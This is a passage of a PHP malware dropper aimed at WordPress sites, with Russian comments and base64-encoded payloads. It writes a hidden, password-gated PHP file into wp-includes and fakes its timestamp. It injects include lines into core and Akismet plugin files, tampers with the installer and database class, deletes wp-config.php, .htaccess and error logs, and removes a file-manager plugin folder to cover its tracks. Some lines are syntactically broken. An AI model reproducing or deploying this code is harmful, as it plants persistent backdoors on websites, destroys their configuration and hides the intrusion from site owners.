kZGlyKSkgIT09IGZhbHNlKSB7ICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZpbGVQYXRoID0gJGZvbGRlclBhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGU7ICAgICAgICAgICAgCiAgICAgICAgICAgIGlmIChpc19kaXIoJGZpbGVQYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3VsdEZpbGVzID0gYXJyYXlfbWVyZ2UoJHJlc3VsdEZpbGVzLCBzZWFyY2hGaWxlc0luRm9sZGVyKCRmaWxlUGF0aCwgJHNlYXJjaFRleHQpKTsKICAgICAgICAgICAgfSBlbHNlIHsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkZmlsZSwgJHNlYXJjaFRleHQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHRGaWxlc1tdID0gYXJyYXkoJGZpbGVQYXRoLCduYW1lJyk7CiAgICAgICAgICAgICAgICB9IGVsc2UgeyAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgJGZpbGVDb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGVDb250ZW50ICE9PSBmYWxzZSAmJiBzdHJpcG9zKCRmaWxlQ29udGVudCwgJHNlYXJjaFRleHQpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0RmlsZXNbXSA9IGFycmF5KCRmaWxlUGF0aCwnY29udGVudCcpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBjbG9zZWRpcigkZGlyKTsKICAgICAgICByZXR1cm4gJHJlc3VsdEZpbGVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlbGV0ZURpcmVjdG9yeSgkZGlyUGF0aCkgCiAgICB7CiAgICAgICAgaWYgKCFpc19kaXIoJGRpclBhdGgpKSB7ICAgICAgICAgICAgCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9ICAgICAgIAogICAgICAgICRmaWxlcyA9IGFycmF5X2RpZmYoc2NhbmRpcigkZGlyUGF0aCksIGFycmF5KCcuJywgJy4uJykpOyAgICAgICAgCiAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7CiAgICAgICAgICAgICRmaWxlUGF0aCA9ICRkaXJQYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlOyAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoaXNfZGlyKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkZmlsZVBhdGgpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgdW5saW5rKCRmaWxlUGF0aCk7CiAgICAgICAgICAgIH0KICAgICAgICB9ICAgICAgICAKICAgICAgICByZXR1cm4gcm1kaXIoJGRpclBhdGgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNvcHlEaXJlY3RvcnkoJHNvdXJjZSwgJGRlc3RpbmF0aW9uKSAKICAgIHsgICAgICAgCiAgICAgICAgaWYgKCFpc19kaXIoJHNvdXJjZSkpIHsgICAgICAgICAgIAogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfSAgICAgICAgCiAgICAgICAgaWYgKCFpc19kaXIoJGRlc3RpbmF0aW9uKSkgewogICAgICAgICAgICBta2RpcigkZGVzdGluYXRpb24sIDA3NzcsIHRydWUpOyAvLyB0cnVlINC00LvRjyDRgNC10LrRg9GA0YHQuNCy0L3QvtCz0L4g0YHQvtC30LTQsNC90LjRjyDQtNC40YDQtdC60YLQvtGA0LjQuQogICAgICAgIH0gICAgICAgCiAgICAgICAgJGRpciA9IG9wZW5kaXIoJHNvdXJjZSk7ICAgICAgICAKICAgICAgICB3aGlsZSAoKCRmaWxlID0gcmVhZGRpcigkZGlyKSkgIT09IGZhbHNlKSB7ICAgICAgICAgICAgCiAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0gICAgICAgICAgICAKICAgICAgICAgICAgJHNyY1BhdGggPSAkc291cmNlIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlOwogICAgICAgICAgICAkZHN0UGF0aCA9ICRkZXN0aW5hdGlvbiAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZmlsZTsKICAgICAgICAgICAgaWYgKGlzX2Rpcigkc3JjUGF0aCkpIHsKICAgICAgICAgICAgICAgIGNvcHlEaXJlY3RvcnkoJHNyY1BhdGgsICRkc3RQYXRoKTsKICAgICAgICAgICAgfSBlbHNlIHsgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBjb3B5KCRzcmNQYXRoLCAkZHN0UGF0aCk7CiAgICAgICAgICAgIH0KICAgICAgICB9ICAgICAgICAKICAgICAgICBjbG9zZWRpcigkZGlyKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBzY2FuRGlyZWN0b3J5KCRkaXIsICRkZWVwLCAkY3VycmVudERlcHRoID0gMCkgCiAgICB7ICAgICAgICAKICAgICAgICBpZiAoJGN1cnJlbnREZXB0aCA+PSAkZGVlcCkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoKTsKICAgICAgICB9ICAgICAgICAKICAgICAgICAkZG9tYWlucyA9IGFycmF5KCk7ICAgICAgICAKICAgICAgICBpZiAoaXNfZGlyKCRkaXIpKSB7ICAgICAgICAgICAgCiAgICAgICAgICAgICRmaWxlcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBpZihpc19hcnJheSgkZmlsZXMpKXsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgeyAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoJGZpbGUgPT0gJy4nIHx8ICRmaWxlID09ICcuLicpIHsKICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmKCRkaXIhPURJUkVDVE9SWV9TRVBBUkFUT1IpewogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kZmlsZTsgCiAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpci4kZmlsZTsgCiAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNfd3JpdGFibGUoJHBhdGgpICYmIGlzVmFsaWREb21haW4oJGZpbGUpKSB7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvbWFpbnNbXSA9ICRmaWxlLid8Jy4kcGF0aDsKICAgICAgICAgICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zID0gYXJyYXlfbWVyZ2UoJGRvbWFpbnMsIHNjYW5EaXJlY3RvcnkoJHBhdGgsICRkZWVwLCAkY3VycmVudERlcHRoICsgMSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRvbWFpbnM7CiAgICB9CgogICAgZnVuY3Rpb24gc2NhbkRpcmVjdG9yeUNvbmZpZygkZGlyLCAkZGVlcCwgJGN1cnJlbnREZXB0aCA9IDApIAogICAgeyAgICAgICAgCiAgICAgICAgaWYgKCRjdXJyZW50RGVwdGggPj0gJGRlZXApIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCk7CiAgICAgICAgfSAgICAgICAgCiAgICAgICAgJGRvbWFpbnMgPSBhcnJheSgpOyAgICAgICAgCiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgeyAgICAgICAgICAgIAogICAgICAgICAgICAkZmlsZXMgPSBAc2NhbmRpcigkZGlyKTsKICAgICAgICAgICAgaWYoaXNfYXJyYXkoJGZpbGVzKSl7CgogICAgICAgICAgICAgICAgJGlzX3dyaXRhYmxlID0gZmFsc2U7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsgCiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZigkZGlyIT1ESVJFQ1RPUllfU0VQQVJBVE9SKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyLkRJUkVDVE9SWV9TRVBBUkFUT1IuJGZpbGU7IAogICAgICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRkaXIuJGZpbGU7IAogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkcGF0aCkpewogICAgICAgICAgICAgICAgICAgICAgICAkaXNfd3JpdGFibGUgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJykgewogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoJGRpciE9RElSRUNUT1JZX1NFUEFSQVRPUil7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlOyAKICAgICAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyLiRmaWxlOyAKICAgICAgICAgICAgICAgICAgICB9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJHBhdGgpKSB7ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkaXNfd3JpdGFibGUgJiYgc3RydG9sb3dlcigkZmlsZSk9PSd3cC1jb25maWcucGhwJykgeyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zW10gPSAkcGF0aC4nfCcuJGZpbGU7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRwYXRoKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW5zID0gYXJyYXlfbWVyZ2UoJGRvbWFpbnMsIHNjYW5EaXJlY3RvcnlDb25maWcoJHBhdGgsICRkZWVwLCAkY3VycmVudERlcHRoICsgMSkpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAgICAgICAgICAgIAogICAgICAgIH0KICAgICAgICByZXR1cm4gJGRvbWFpbnM7CiAgICB9CgogICAgZnVuY3Rpb24gaXNWYWxpZERvbWFpbigkZG9tYWluKSAKICAgIHsKICAgICAgICBnbG9iYWwgJHpvbmVfZG9tZW47ICAgICAgICAgICAgICAgCiAgICAgICAgJHBhdHRlcm4gPSAnL14oPzpbYS16MC05XSg/OlthLXowLTktXSpbYS16MC05XSk/XC4pKyg/OlthLXpdezIsfSkkL2knOwogICAgICAgICRleHBsb2RlID0gZXhwbG9kZSgnLicsICRkb21haW4pOwogICAgICAgICR6ID0gJGV4cGxvZGVbY291bnQoJGV4cGxvZGUpLTFdOwogICAgICAgIGlmKCFzdHJpc3RyKCR6b25lX2RvbWVuLCd8Jy4kei4nfCcpKXsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZG9tYWluKSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBpZihwcmVnX21hdGNoKCcvXnhuXC0vaScsJGRvbWFpbikgJiYgc3Ryc3RyKCRkb21haW4sJy4nKSl7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfSAgICAgICAgICAgICAgIAogICAgICAgIH0gICAgICAgIAogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0gCgogICAgZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCkgCiAgICB7ICAgICAgIAogICAgICAgICRjb250ZW50ID0gJyc7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0JykpIHsKICAgICAgICAgICAgJGNvbnRlbnQgPSBnZXRfcGFnZV9jdXJsKCR1cmwpOwogICAgICAgICAgICBpZighZW1wdHkoJGNvbnRlbnQpKSByZXR1cm4gJGNvbnRlbnQ7CiAgICAgICAgfSAgICAgICAKICAgICAgICBpZiAoaW5pX2dldCgnYWxsb3dfdXJsX2ZvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKSB7CiAgICAgICAgICAgICRjb250ZW50ID0gZ2V0X3BhZ2VfZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiAgICAgICAgICAgIGlmKCFlbXB0eSgkY29udGVudCkpIHJldHVybiAkY29udGVudDsKICAgICAgICB9ICAgICAgCiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSkgewogICAgICAgICAgICByZXR1cm4gZ2V0X3BhZ2VfZm9wZW4oJHVybCk7CiAgICAgICAgfSAgICAgICAKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgCiAgICBmdW5jdGlvbiBnZXRfcGFnZV9jdXJsKCR1cmwpIAogICAgewogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgNSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTFZFUlNJT04sIDEpOyAKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzMS4wLjAuMCBTYWZhcmkvNTM3LjM2Jyk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KCdBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsKi8qO3E9MC44JywnQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNScpKTsKICAgICAgICAkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkZXJyb3IgPSBjdXJsX2Vycm9yKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOyAgICAgICAgCiAgICAgICAgaWYgKCRlcnJvcikgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzcG9uc2U7CiAgICB9CgogICAgCiAgICBmdW5jdGlvbiBnZXRfcGFnZV9maWxlX2dldF9jb250ZW50cygkdXJsKSAKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkcmVzcG9uc2UgPSBmaWxlX2dldF9jb250ZW50cygkdXJsKTsKICAgICAgICAgICAgaWYgKCRyZXNwb25zZSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgCiAgICBmdW5jdGlvbiBnZXRfcGFnZV9mb3BlbigkdXJsKSAKICAgIHsKICAgICAgICAkY29udGV4dCA9IHN0cmVhbV9jb250ZXh0X2NyZWF0ZShhcnJheSgKICAgICAgICAgICAgJ2h0dHAnID0+IGFycmF5KAogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ0dFVCcsCiAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAnQWNjZXB0OiB0ZXh0L2h0bWxcclxuJywgCiAgICAgICAgICAgICAgICAndGltZW91dCcgPT4gMzAKICAgICAgICAgICAgKQogICAgICAgICkpOwoKICAgICAgICAkaGFuZGxlID0gZm9wZW4oJHVybCwgJ3InLCBmYWxzZSwgJGNvbnRleHQpOwogICAgICAgIGlmICgkaGFuZGxlID09PSBmYWxzZSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkcmVzcG9uc2UgPSBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRoYW5kbGUpOwogICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKICAgICAgICAKICAgICAgICByZXR1cm4gJHJlc3BvbnNlOwogICAgfQo/Pg==');
	$code_inj = str_replace('[PASS]', $_GET['pass'], $code_inj);
	$paths = array(,'..');	
	if(count($task_inj)>0){
		foreach($task_inj as $current_inj){
			$paths[] = $current_inj;
		}
	}
	$custom_good = array();
    $use_dir = array();

    $global_php_file = '';

	foreach($paths as $current_path){

		$custom = false;
		$current_domen = '';
		if(is_array($current_path)){
			$custom = true;
			$current_domen = $current_path[1];
			$current_path = $current_path[0];
		}

        $realpath=realpath($current_path);
        if(isset($use_dir[$realpath])) continue;
        $use_dir[$realpath]=1;

        // Сохраним скрипт в CSS файл
        if(!is_dir($current_path.DIRECTORY_SEPARATOR.'wp-includes')){
            $stat[] = '[-] NOT FOUND INCLUDE PATH. PATH: '.$current_path;
            continue;
        }
        $name_php = '';
        if(!empty($global_php_file)){
            $name_php = $global_php_file;
        }else{
            $name_php = get_name_file($current_path.DIRECTORY_SEPARATOR.'wp-includes');
            $global_php_file = $name_php;
        }       
		$time = get_best_time($current_path.DIRECTORY_SEPARATOR.'wp-includes');		
		@file_put_contents($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.$name_php, $code_inj);		
        change_mtime($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.$name_php,$time);		        
		$good = false;
		if(is_file($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.$name_php)){
			$stat[] = '[+] GOOD SETUP INCLUDE. PATH: '.$current_path;
			$good = true;
		}else{
			$stat[] = '[-] BAD SETUP INCLUDE. PATH: '.$current_path;
		}
		if($good){			
			$add_1 = inj_php($current_path.DIRECTORY_SEPARATOR.'wp-includes'.DIRECTORY_SEPARATOR.'theme.php','if(is_file(\'./'.$name_php.'\')) include_once(\'./'.$name_php.'\');');			
			if($add_1){ $stat[] = '[+] GOOD ADD 1 PATH: '.$current_path; } else { $stat[] = '[-] BAD ADD 1 PATH: '.$current_path; }
			$add_2 = inj_php($current_path.DIRECTORY_SEPARATOR.'wp-admin'.DIRECTORY_SEPARATOR.'widgets-form.php','if(is_file(\'../wp-includes/'.$name_php.'\')) include_once(\'../wp-includes/'.$name_php.'\');',' */');
			if($add_2){ $stat[] = '[+] GOOD ADD 2 PATH: '.$current_path; } else { $stat[] = '[-] BAD ADD 2 PATH: '.$current_path; }			
			if(is_file($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'akismet'.DIRECTORY_SEPARATOR.'.htaccess')){
                $time = filemtime($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'akismet'.DIRECTORY_SEPARATOR.'.htaccess');
                file_put_contents($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'akismet'.DIRECTORY_SEPARATOR.'.htaccess','');
                change_mtime($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'akismet'.DIRECTORY_SEPARATOR.'.htaccess',$time);
            }
            $add_3 = inj_php($current_path.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'akismet'.DIRECTORY_SEPARATOR.'class.akismet-cli.php','if(is_file(\'../../../wp-includes/'.$name_php.'\')) include_once(\'../../../wp-includes/'.$name_php.'\');','');
			if($add_3){ $stat[] = '[+] GOOD ADD 3 PATH: '.$current_path; } else { $stat[] = '[-] BAD ADD 3 PATH: '.$current_path; }            
			if($custom){
				$custom_good[] = $current_domen;
			}
		}
	}

	if(count($custom_good)>0){
		$stat[] = '[+] CUSTOM: |'.json_encode($custom_good).'| PASS: |'.$_GET['pass'].'|';
	}
	

	// 2. Добавим строчки в установщик
	$setup_inj = inj_php(.DIRECTORY_SEPARATOR.'wp-admin'.DIRECTORY_SEPARATOR.'setup-config.php',"\t\tif((is_numeric(str_replace(\':\',\'\',str_replace(\'.\',\'\',$dbhost))) || strstr($dbhost,\':443\') || stristr($dbhost,\'db4free\') || stristr($dbhost,\'freesqldatabase\')) && $dbhost!=\'127.0.0.1\') define( \'DB_ERROR_CONNECTION\', true );','$_POST[\'prefix\']',true);
	if($setup_inj){
		$stat[] = '[+] GOOD SETUP INJ';
	}else{
		$stat[] = '[-] BAD SETUP INJ';
	}

    // 3.
    if(is_file('./wp-includes/class-wpdb.php')){
        $time = filemtime('./wp-includes/class-wpdb.php');
        $get = file_get_contents('./wp-includes/class-wpdb.php');
        $get = str_replace('if ( ! $this->dbh && $allow_bail ) {','if (defined(\'DB_ERROR_CONNECTION\') || ! $this->dbh && $allow_bail ) {',$get);
        file_put_contents('./wp-includes/class-wpdb.php',$get);
        change_mtime('./wp-includes/class-wpdb.php',($time-1));
        $get = file_get_contents('./wp-includes/class-wpdb.php');
        if(strstr($get,'DB_ERROR_CONNECTION')){
            $stat[] = '[+] GOOD DB_ERROR_CONNECTION';
        }else{
            $stat[] = '[+] BAD DB_ERROR_CONNECTION';
        }
    }   

	// 4. Удалим данные о конфиге
    @unlink('.htaccess');
 	@unlink('wp-config.php');
    if(!is_file('wp-config.php')){
        $stat[] = '[+] GOOD DEL CONFIG';
    }else{
        $stat[] = '[-] BAD DEL CONFIG';
    }

    // 5. Папка с плагином
 	rmRec(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'file-manager-advanced');
    if(!is_dir(.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'plugins'.DIRECTORY_SEPARATOR.'file-manager-advanced')){
        $stat[] = '[+] GOOD DEL PATH PLUGIN';
    }else{
        $stat[] = '[-] BAD DEL PATH PLUGIN';
    }

    // 6. Удалим еррор лог
    @unlink('error_log');
    @unlink('../error_log');
    
	// 7. backup
    $data_control = base64_decode('PD9waHAKLyoqCiAqIFRoZSBmdW5jdGlvbnMgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzCiAqCiAqIFRoZSBmdW5jdGlvbnMucGhwIGNyZWF0aW9uIHNjcmlwdCB1c2VzIHRoaXMgZmlsZSBkdXJpbmcgdGhlIGluc3RhbGxhdGlvbi4KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWJzaXRlLCB5b3UgY2FuIGNvcHkgdGhpcyBmaWxlIHRvICJmdW5jdGlvbnMucGhwIgogKiBhbmQgZmlsbCBpbiB0aGUgdmFsdWVzLgogKgogKiBUaGlzIGZpbGUgY29udGFpbnMgdGhlIGZvbGxvd2luZyBjb25maWd1cmF0aW9uczoKICoKICogKiBQbHVnaW4gc2V0dGluZ3MKICogKiBQbHVnaW4gc2VjcmV0IGtleXMKICogKiBQbHVnaW4gdGFibGUgcHJlZml4CiAqICogQUJTUEFUSAogKgogKiBAbGluayBodHRwczovL2RldmVsb3Blci53b3JkcHJlc3Mub3JnL2FkdmFuY2VkLWFkbWluaXN0cmF0aW9uL3dvcmRwcmVzcy9mdW5jdGlvbnMvCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKi8KCQovKioKICogQ29udmVydHMgZ2l2ZW4gTXlTUUwgZGF0ZSBzdHJpbmcgaW50byBhIGRpZmZlcmVudCBmb3JtYXQuCiAqCiAqICAtIGAkZm9ybWF0YCBzaG91bGQgYmUgYSBQSFAgZGF0ZSBmb3JtYXQgc3RyaW5nLgogKiAgLSAnVScgYW5kICdHJyBmb3JtYXRzIHdpbGwgcmV0dXJuIGFuIGludGVnZXIgc3VtIG9mIHRpbWVzdGFtcCB3aXRoIHRpbWV6b25lIG9mZnNldC4KICogIC0gYCRkYXRlYCBpcyBleHBlY3RlZCB0byBiZSBsb2NhbCB0aW1lIGluIE15U1FMIGZvcm1hdCAoYFktbS1kIEg6aTpzYCkuCiAqCiAqIEhpc3RvcmljYWxseSBVVEMgdGltZSBjb3VsZCBiZSBwYXNzZWQgdG8gdGhlIGZ1bmN0aW9uIHRvIHByb2R1Y2UgVW5peCB0aW1lc3RhbXAuCiAqCiAqIElmIGAkdHJhbnNsYXRlYCBpcyB0cnVlIHRoZW4gdGhlIGdpdmVuIGRhdGUgYW5kIGZvcm1hdCBzdHJpbmcgd2lsbAogKiBiZSBwYXNzZWQgdG8gYHdwX2RhdGUoKWAgZm9yIHRyYW5zbGF0aW9uLgogKgogKiBAc2luY2UgMC43MQogKgogKiBAcGFyYW0gc3RyaW5nICRmb3JtYXQgICAgRm9ybWF0IG9mIHRoZSBkYXRlIHRvIHJldHVybi4KICogQHBhcmFtIHN0cmluZyAkZGF0ZSAgICAgIERhdGUgc3RyaW5nIHRvIGNvbnZlcnQuCiAqIEBwYXJhbSBib29sICAgJHRyYW5zbGF0ZSBXaGV0aGVyIHRoZSByZXR1cm4gZGF0ZSBzaG91bGQgYmUgdHJhbnNsYXRlZC4gRGVmYXVsdCB0cnVlLgogKiBAcmV0dXJuIHN0cmluZ3xpbnR8ZmFsc2UgSW50ZWdlciBpZiBgJGZvcm1hdGAgaXMgJ1UnIG9yICdHJywgc3RyaW5nIG90aGVyd2lzZS4KICogICAgICAgICAgICAgICAgICAgICAgICAgIEZhbHNlIG9uIGZhaWx1cmUuCiAqLwpmdW5jdGlvbiBteXNxbDJkYXRlKCAkZm9ybWF0LCAkZGF0ZSwgJHRyYW5zbGF0ZSA9IHRydWUgKSB7CglpZiAoIGVtcHR5KCAkZGF0ZSApICkgewoJCXJldHVybiBmYWxzZTsKCX0KCgkkdGltZXpvbmUgPSB3cF90aW1lem9uZSgpOwoJJGRhdGV0aW1lID0gZGF0ZV9jcmVhdGUoICRkYXRlLCAkdGltZXpvbmUgKTsKCglpZiAoIGZhbHNlID09PSAkZGF0ZXRpbWUgKSB7CgkJcmV0dXJuIGZhbHNlOwoJfQoKCS8vIFJldHVybnMgYSBzdW0gb2YgdGltZXN0YW1wIHdpdGggdGltZXpvbmUgb2Zmc2V0LiBJZGVhbGx5IHNob3VsZCBuZXZlciBiZSB1c2VkLgoJaWYgKCAnRycgPT09ICRmb3JtYXQgfHwgJ1UnID09